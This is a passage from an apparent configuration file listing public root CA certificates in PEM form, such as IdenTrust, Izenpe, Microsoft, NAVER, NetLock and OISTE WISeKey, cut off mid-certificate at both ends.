      AQH/BAUwAwEB/zAdBgNVHQ4EFgQUfEKWrt5LSDv6kviejM9ti6lyN5UwCgYIKoZI
      zj0EAwMDaAAwZQIwe3lORlCEwkSHRhtFcP9Ymd70/aTSVaYgLXTWNLxBo1BfASdW
      tL4ndQavEi51mI38AjEAi/V3bNTIZargCyzuFJ0nN6T5U6VR5CmD1/iQMVtCnwr1
      /q4AaOeMSQ+2b1tbFfLn
      -----END CERTIFICATE-----

      # IdenTrust Commercial Root CA 1
      -----BEGIN CERTIFICATE-----
      MIIFYDCCA0igAwIBAgIQCgFCgAAAAUUjyES1AAAAAjANBgkqhkiG9w0BAQsFADBK
      MQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MScwJQYDVQQDEx5JZGVu
      VHJ1c3QgQ29tbWVyY2lhbCBSb290IENBIDEwHhcNMTQwMTE2MTgxMjIzWhcNMzQw
      MTE2MTgxMjIzWjBKMQswCQYDVQQGEwJVUzESMBAGA1UEChMJSWRlblRydXN0MScw
      JQYDVQQDEx5JZGVuVHJ1c3QgQ29tbWVyY2lhbCBSb290IENBIDEwggIiMA0GCSqG
      SIb3DQEBAQUAA4ICDwAwggIKAoICAQCnUBneP5k91DNG8W9RYYKyqU+PZ4ldhNlT
      3Qwo2dfw/66VQ3KZ+bVdfIrBQuExUHTRgQ18zZshq0PirK1ehm7zCYofWjK9ouuU
      +ehcCuz/mNKvcbO0U59Oh++SvL3sTzIwiEsXXlfEU8L2ApeN2WIrvyQfYo3fw7gp
      S0l4PJNgiCL8mdo2yMKi1CxUAGc1bnO/AljwpN3lsKImesrgNqUZFvX9t++uP0D1
      bVoE/c40yiTcdCMbXTMTEl3EASX2MN0CXZ/g1Ue9tOsbobtJSdifWwLziuQkkORi
      T0/Br4sOdBeo0XKIanoBScy0RnnGF7HamB4HWfp1IYVl3ZBWzvurpWCdxJ35UrCL
      vYf5jysjCiN2O/cz4ckA82n5S6LgTrx+kzmEB/dEcH7+B1rlsazRGMzyNeVJSQjK
      Vsk9+w8YfYs7wRPCTY/JTw436R+hDmrfYi7LNQZReSzIJTj0+kuniVyc0uMNOYZK
      dHzVWYfCP04MXFL0PfdSgvHqo6z9STQaKPNBiDoT7uje/5kdX7rL6B7yuVBgwDHT
      c+XvvqDtMwt0viAgxGds8AgDelWAf0ZOlqf0Hj7h9tgJ4TNkK2PXMl6f+cB7D3hv
      l7yTmvmcEpB4eoCHFddydJxVdHixuuFucAS6T6C6aMN7/zHwcz09lCqxC0EOoP5N
      iGVreTO01wIDAQABo0IwQDAOBgNVHQ8BAf8EBAMCAQYwDwYDVR0TAQH/BAUwAwEB
      /zAdBgNVHQ4EFgQU7UQZwNPwBovupHu+QucmVMiONnYwDQYJKoZIhvcNAQELBQAD
      ggIBAA2ukDL2pkt8RHYZYR4nKM1eVO8lvOMIkPkp165oCOGUAFjvLi5+U1KMtlwH
      6oi6mYtQlNeCgN9hCQCTrQ0U5s7B8jeUeLBfnLOic7iPBZM4zY0+sLj7wM+x8uwt
      LRvM7Kqas6pgghstO8OEPVeKlh6cdbjTMM1gCIOQ045U8U1mwF10A0Cj7oV+wh93
      nAbowacYXVKV7cndJZ5t+qntozo00Fl72u1Q8zW/7esUTTHHYPTa8Yec4kjixsU3
      +wYQ+nVZZjFHKdp2mhzpgq7vmrlR94gjmmmVYjzlVYA211QC//G5Xc7UI2/YRYRK
      W2XviQzdFKcgyxilJbQN+QHwotL0AMh0jqEqSI5l2xPE4iUXfeu+h1sXIFRRk0pT
      AwvsXcoz7WL9RccvW9xYoIA55vrX/hMUpu09lEpCdNTDd1lzzY9GvlU47/rokTLq
      l1gEIt44w8y8bckzOmoKaT+gyOpyj4xjhiO9bTyWnpXgSUyqorkqG5w2gXjtw+hG
      4iZZRHUe2XWJUc0QhJ1hYMtd+ZciTY6Y5uN/9lu7rs3KSoFrXgvzUeF0K+l+J6fZ
      mUlO+KWA2yUPHGNiiskzZ2s8EIPGrd6ozRaOjfAHN3Gf8qv8QfXBi+wAN10J5U6A
      7/qxXDgGpRtK4dw4LTzcqx+QGtVKnO7RcGzM7vRX+Bi6hG6H
      -----END CERTIFICATE-----

      # IdenTrust Public Sector Root CA 1
      -----BEGIN CERTIFICATE-----
      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
      -----END CERTIFICATE-----

      # Izenpe.com
      -----BEGIN CERTIFICATE-----
      MIIF8TCCA9mgAwIBAgIQALC3WhZIX7/hy/WL1xnmfTANBgkqhkiG9w0BAQsFADA4
      MQswCQYDVQQGEwJFUzEUMBIGA1UECgwLSVpFTlBFIFMuQS4xEzARBgNVBAMMCkl6
      ZW5wZS5jb20wHhcNMDcxMjEzMTMwODI4WhcNMzcxMjEzMDgyNzI1WjA4MQswCQYD
      VQQGEwJFUzEUMBIGA1UECgwLSVpFTlBFIFMuQS4xEzARBgNVBAMMCkl6ZW5wZS5j
      b20wggIiMA0GCSqGSIb3DQEBAQUAA4ICDwAwggIKAoICAQDJ03rKDx6sp4boFmVq
      scIbRTJxldn+EFvMr+eleQGPicPK8lVx93e+d5TzcqQsRNiekpsUOqHnJJAKClaO
      xdgmlOHZSOEtPtoKct2jmRXagaKH9HtuJneJWK3W6wyyQXpzbm3benhB6QiIEn6H
      LmYRY2xU+zydcsC8Lv/Ct90NduM61/e0aL6i9eOBbsFGb12N4E3GVFWJGjMxCrFX
      uaOKmMPsOzTFlUFpfnXCPCDFYbpRR6AgkJOhkEvzTnyFRVSa0QUmQbC1TR0zvsQD
      yCV8wXDbO/QJLVQnSKwv4cSsPsjLkkxTOTcj7NMB+eAJRE1NZMDhDVqHIrytG6P+
      JrUV86f8hBnp7KGItERphIPzidF0BqnMC9bC3ieFUCbKF7jJeodWLBoBHmy+E60Q
      rLUk9TiRodZL2vG70t5HtfG8gfZZa88ZU+mNFctKy6lvROUbQc/hhqfK0GqfvEyN
      BjNaooXlkDWgYlwWTvDjovoDGrQscbNYLN57C9saD+veIR8GdwYDsMnvmfzAuU8L
      hij+0rnq49qlw0dpEuDb8PYZi+17cNcC1u2HGCgsBCRMd+RIihrGO5rUD8r6ddIB
      QFqNeb+Lz0vPqhbBleStTIo+F5HUsWLlguWABKQDfo2/2n+iD5dPDNMN+9fR5XJ+
      HMh3/1uaD7euBUbl8agW7EekFwIDAQABo4H2MIHzMIGwBgNVHREEgagwgaWBD2lu
      Zm9AaXplbnBlLmNvbaSBkTCBjjFHMEUGA1UECgw+SVpFTlBFIFMuQS4gLSBDSUYg
      QTAxMzM3MjYwLVJNZXJjLlZpdG9yaWEtR2FzdGVpeiBUMTA1NSBGNjIgUzgxQzBB
      BgNVBAkMOkF2ZGEgZGVsIE1lZGl0ZXJyYW5lbyBFdG9yYmlkZWEgMTQgLSAwMTAx
      MCBWaXRvcmlhLUdhc3RlaXowDwYDVR0TAQH/BAUwAwEB/zAOBgNVHQ8BAf8EBAMC
      AQYwHQYDVR0OBBYEFB0cZQ6o8iV7tJHP5LGx5r1VdGwFMA0GCSqGSIb3DQEBCwUA
      A4ICAQB4pgwWSp9MiDrAyw6lFn2fuUhfGI8NYjb2zRlrrKvV9pF9rnHzP7MOeIWb
      laQnIUdCSnxIOvVFfLMMjlF4rJUT3sb9fbgakEyrkgPH7UIBzg/YsfqikuFgba56
      awmqxinuaElnMIAkejEWOVt+8Rwu3WwJrfIxwYJOubv5vr8qhT/AQKM6WfxZSzwo
      JNu0FXWuDYi6LnPAvViH5ULy617uHjAimcs30cQhbIHsvm0m5hzkQiCeR7Csg1lw
      LDXWrzY0tM07+DKo7+N4ifuNRSzanLh+QBxh5z6ikixL8s36mLYp//Pye6kfLqCT
      VyvehQP5aTfLnnhqBbTFMXiJ7HqnheG5ezzevh55hM6fcA5ZwjUukCox2eRFekGk
      LhObNA5me0mrZJfQRsN5nXJQY6aYWwa9SG3YOYNw6DXwBdGqvOPbyALqfP2C2sJb
      UjWumDqtujWTI6cfSN01RpiyEGjkpTHCClguGYEQyVB1/OpaFs4R1+7vUIgtYf8/
      QnMFlEPVjjxOAToZpR9GTnfQXeWBIiGH/pR9hNiTrdZoQ0iy2+tzJOeRf1SktoA+
      naM8THLCV8Sg1Mw4J87VBp6iSNnpn86CcDaTmjvfliHjWbcM2pE38P1ZWrOZyGls
      QyYBNWNgVYkDOnXYukrZVP/u3oDYLdE41V4tC5h9Pmzb/CaIxw==
      -----END CERTIFICATE-----

      # Microsec e-Szigno Root CA 2009
      -----BEGIN CERTIFICATE-----
      MIIECjCCAvKgAwIBAgIJAMJ+QwRORz8ZMA0GCSqGSIb3DQEBCwUAMIGCMQswCQYD
      VQQGEwJIVTERMA8GA1UEBwwIQnVkYXBlc3QxFjAUBgNVBAoMDU1pY3Jvc2VjIEx0
      ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUtU3ppZ25vIFJvb3QgQ0EgMjAwOTEfMB0G
      CSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5odTAeFw0wOTA2MTYxMTMwMThaFw0y
      OTEyMzAxMTMwMThaMIGCMQswCQYDVQQGEwJIVTERMA8GA1UEBwwIQnVkYXBlc3Qx
      FjAUBgNVBAoMDU1pY3Jvc2VjIEx0ZC4xJzAlBgNVBAMMHk1pY3Jvc2VjIGUtU3pp
      Z25vIFJvb3QgQ0EgMjAwOTEfMB0GCSqGSIb3DQEJARYQaW5mb0BlLXN6aWduby5o
      dTCCASIwDQYJKoZIhvcNAQEBBQADggEPADCCAQoCggEBAOn4j/NjrdqG2KfgQvvP
      kd6mJviZpWNwrZuuyjNAfW2WbqEORO7hE52UQlKavXWFdCyoDh2Tthi3jCyoz/tc
      cbna7P7ofo/kLx2yqHWH2Leh5TvPmUpG0IMZfcChEhyVbUr02MelTTMuhTlAdX4U
      fIASmFDHQWe4oIBhVKZsTh/gnQ4H6cm6M+f+wFUoLAKApxn1ntxVUwOXewdI/5n7
      N4okxFnMUBBjjqqpGrCEGob5X7uxUG6k0QrM1XF+H6cbfPVTbiJfyyvm1HxdrtbC
      xkzlBQHZ7Vf8wSN5/PrIJIOV87VqUQHQd9bpEqH5GoP7ghu5sJf0dgYzQ0mg/wu1
      +rUCAwEAAaOBgDB+MA8GA1UdEwEB/wQFMAMBAf8wDgYDVR0PAQH/BAQDAgEGMB0G
      A1UdDgQWBBTLD8bfQkPMPcu1SCOhGnqmKrs0aDAfBgNVHSMEGDAWgBTLD8bfQkPM
      Pcu1SCOhGnqmKrs0aDAbBgNVHREEFDASgRBpbmZvQGUtc3ppZ25vLmh1MA0GCSqG
      SIb3DQEBCwUAA4IBAQDJ0Q5eLtXMs3w+y/w9/w0olZMEyL/azXm4Q5DwpL7v8u8h
      mLzU1F0G9u5C7DBsoKqpyvGvivo/C3NqPuouQH4frlRheesuCDfXI/OMn74dseGk
      ddug4lQUsbocKaQY9hK6ohQU4zE1yED/t+AFdlfBHFny+L/k7SViXITwfn4fs775
      tyERzAMBVnCnEJIeGzSBHq2cGsMEPO0CYdYeBvNfOofyK/FFh+U9rNHHV4S9a67c
      2Pm2G2JwCz02yULyMtd6YebS2z3PyKnJm9zbWETXbzivf3jTo60adbocwTZ8jx5t
      HMN1Rq41Bab2XD0h7lbwyYIiLXpUq3DDfSJlgnCW
      -----END CERTIFICATE-----

      # Microsoft ECC Root Certificate Authority 2017
      -----BEGIN CERTIFICATE-----
      MIICWTCCAd+gAwIBAgIQZvI9r4fei7FK6gxXMQHC7DAKBggqhkjOPQQDAzBlMQsw
      CQYDVQQGEwJVUzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYD
      VQQDEy1NaWNyb3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIw
      MTcwHhcNMTkxMjE4MjMwNjQ1WhcNNDIwNzE4MjMxNjA0WjBlMQswCQYDVQQGEwJV
      UzEeMBwGA1UEChMVTWljcm9zb2Z0IENvcnBvcmF0aW9uMTYwNAYDVQQDEy1NaWNy
      b3NvZnQgRUNDIFJvb3QgQ2VydGlmaWNhdGUgQXV0aG9yaXR5IDIwMTcwdjAQBgcq
      hkjOPQIBBgUrgQQAIgNiAATUvD0CQnVBEyPNgASGAlEvaqiBYgtlzPbKnR5vSmZR
      ogPZnZH6thaxjG7efM3beaYvzrvOcS/lpaso7GMEZpn4+vKTEAXhgShC48Zo9OYb
      hGBKia/teQ87zvH2RPUBeMCjVDBSMA4GA1UdDwEB/wQEAwIBhjAPBgNVHRMBAf8E
      BTADAQH/MB0GA1UdDgQWBBTIy5lycFIM+Oa+sgRXKSrPQhDtNTAQBgkrBgEEAYI3
      FQEEAwIBADAKBggqhkjOPQQDAwNoADBlAjBY8k3qDPlfXu5gKcs68tvWMoQZP3zV
      L8KxzJOuULsJMsbG7X7JNpQS5GiFBqIb0C8CMQCZ6Ra0DvpWSNSkMBaReNtUjGUB
      iudQZsIxtzm6uBoiB078a1QWIP8rtedMDE2mT3M=
      -----END CERTIFICATE-----

      # Microsoft RSA Root Certificate Authority 2017
      -----BEGIN CERTIFICATE-----
      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
      RA+GsCyRxj3qrg+E
      -----END CERTIFICATE-----

      # NAVER Global Root Certification Authority
      -----BEGIN CERTIFICATE-----
      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
      9XXeifdy
      -----END CERTIFICATE-----

      # NetLock Arany (Class Gold) Főtanúsítvány
      -----BEGIN CERTIFICATE-----
      MIIEFTCCAv2gAwIBAgIGSUEs5AAQMA0GCSqGSIb3DQEBCwUAMIGnMQswCQYDVQQG
      EwJIVTERMA8GA1UEBwwIQnVkYXBlc3QxFTATBgNVBAoMDE5ldExvY2sgS2Z0LjE3
      MDUGA1UECwwuVGFuw7pzw610dsOhbnlraWFkw7NrIChDZXJ0aWZpY2F0aW9uIFNl
      cnZpY2VzKTE1MDMGA1UEAwwsTmV0TG9jayBBcmFueSAoQ2xhc3MgR29sZCkgRsWR
      dGFuw7pzw610dsOhbnkwHhcNMDgxMjExMTUwODIxWhcNMjgxMjA2MTUwODIxWjCB
      pzELMAkGA1UEBhMCSFUxETAPBgNVBAcMCEJ1ZGFwZXN0MRUwEwYDVQQKDAxOZXRM
      b2NrIEtmdC4xNzA1BgNVBAsMLlRhbsO6c8OtdHbDoW55a2lhZMOzayAoQ2VydGlm
      aWNhdGlvbiBTZXJ2aWNlcykxNTAzBgNVBAMMLE5ldExvY2sgQXJhbnkgKENsYXNz
      IEdvbGQpIEbFkXRhbsO6c8OtdHbDoW55MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8A
      MIIBCgKCAQEAxCRec75LbRTDofTjl5Bu0jBFHjzuZ9lk4BqKf8owyoPjIMHj9DrT
      lF8afFttvzBPhCf2nx9JvMaZCpDyD/V/Q4Q3Y1GLeqVw/HpYzY6b7cNGbIRwXdrz
      AZAj/E4wqX7hJ2Pn7WQ8oLjJM2P+FpD/sLj916jAwJRDC7bVWaaeVtAkH3B5r9s5
      VA1lddkVQZQBr17s9o3x/61k/iCa11zr/qYfCGSji3ZVrR47KGAuhyXoqq8fxmRG
      ILdwfzzeSNuWU7c5d+Qa4scWhHaXWy+7GRWF+GmF9ZmnqfI0p6m2pgP8b4Y9VHx2
      BJtr+UBdADTHLpl1neWIA6pN+APSQnbAGwIDAKiLo0UwQzASBgNVHRMBAf8ECDAG
      AQH/AgEEMA4GA1UdDwEB/wQEAwIBBjAdBgNVHQ4EFgQUzPpnk/C2uNClwB7zU/2M
      U9+D15YwDQYJKoZIhvcNAQELBQADggEBAKt/7hwWqZw8UQCgwBEIBaeZ5m8BiFRh
      bvG5GK1Krf6BQCOUL/t1fC8oS2IkgYIL9WHxHG64YTjrgfpioTtaYtOUZcTh5m2C
      +C8lcLIhJsFyUR+MLMOEkMNaj7rP9KdlpeuY0fsFskZ1FSNqb4VjMIDw1Z4fKRzC
      bLBQWV2QWzuoDTDPv31/zvGdg73JRm4gpvlhUbohL3u+pRVjodSVh/GeufOJ8z2F
      uLjbvrW5KfnaNwUASZQDhETnv0Mxz3WLJdH0pmT1kvarBes96aULNmLazAZfNou2
      XjG4Kvte9nHfRCaexOYNkbQudZWAUWpLMKawYqGT8ZvYzsRjdT9ZR7E=
      -----END CERTIFICATE-----

      # OISTE WISeKey Global Root GB CA
      -----BEGIN CERTIFICATE-----
      MIIDtTCCAp2gAwIBAgIQdrEgUnTwhYdGs/gjGvbCwDANBgkqhkiG9w0BAQsFADBt
      MQswCQYDVQQGEwJDSDEQMA4GA1UEChMHV0lTZUtleTEiMCAGA1UECxMZT0lTVEUg
      Rm91bmRhdGlvbiBFbmRvcnNlZDEoMCYGA1UEAxMfT0lTVEUgV0lTZUtleSBHbG9i
      YWwgUm9vdCBHQiBDQTAeFw0xNDEyMDExNTAwMzJaFw0zOTEyMDExNTEwMzFaMG0x
      CzAJBgNVBAYTAkNIMRAwDgYDVQQKEwdXSVNlS2V5MSIwIAYDVQQLExlPSVNURSBG
      b3VuZGF0aW9uIEVuZG9yc2VkMSgwJgYDVQQDEx9PSVNURSBXSVNlS2V5IEdsb2Jh
      bCBSb290IEdCIENBMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA2Be3
      HEokKtaXscriHvt9OO+Y9bI5mE4nuBFde9IllIiCFSZqGzG7qFshISvYD06fWvGx
      WuR51jIjK+FTzJlFXHtPrby/h0oLS5daqPZI7H17Dc0hBt+eFf1Biki3IPShehtX
      1F1Q/7pn2COZH8g/497/b1t3sWtuuMlk9+HKQUYOKXHQuSP8yYFfTvdv37+ErXNk
      u7dCjmn21HYdfp2nuFeKUWdy19SouJVUQHMD9ur06/4oQnc/nSMbsrY9gBQHTC5P
      99UKFg29ZkM3fiNDecNAhvVMKdqOmq0NpQSHiB6F4+lT1ZvIiwNjeOvgGUpuuy9r
      M2RYk61pv48b74JIxwIDAQABo1EwTzALBgNVHQ8EBAMCAYYwDwYDVR0TAQH/BAUw
      AwEB/zAdBgNVHQ4EFgQUNQ/INmNe4qPs+TtmFc5RUuORmj0wEAYJKwYBBAGCNxUB
      BAMCAQAwDQYJKoZIhvcNAQELBQADggEBAEBM+4eymYGQfp3FsLAmzYh7KzKNbrgh
      cViXfa43FK8+5/ea4n32cZiZBKpDdHij40lhPnOMTZTg+XHEthYOU3gf1qKHLwI5
      gSk8rxWYITD+KJAAjNHhy/peyP34EEY7onhCkRd0VQreUGdNZtGn//3ZwLWoo4rO
      ZvUPQ82nK1d7Y0Zqqi5S2PTt4W2tKZB4SLrhI6qjiey1q5bAtEuiHZeeevJuQHHf
      aPFlTc58Bd9TZaml8LGXBHAVRgOY1NK/VLSgWH1Sb9pWJmLU2NuJMW8c8CLC02Ic
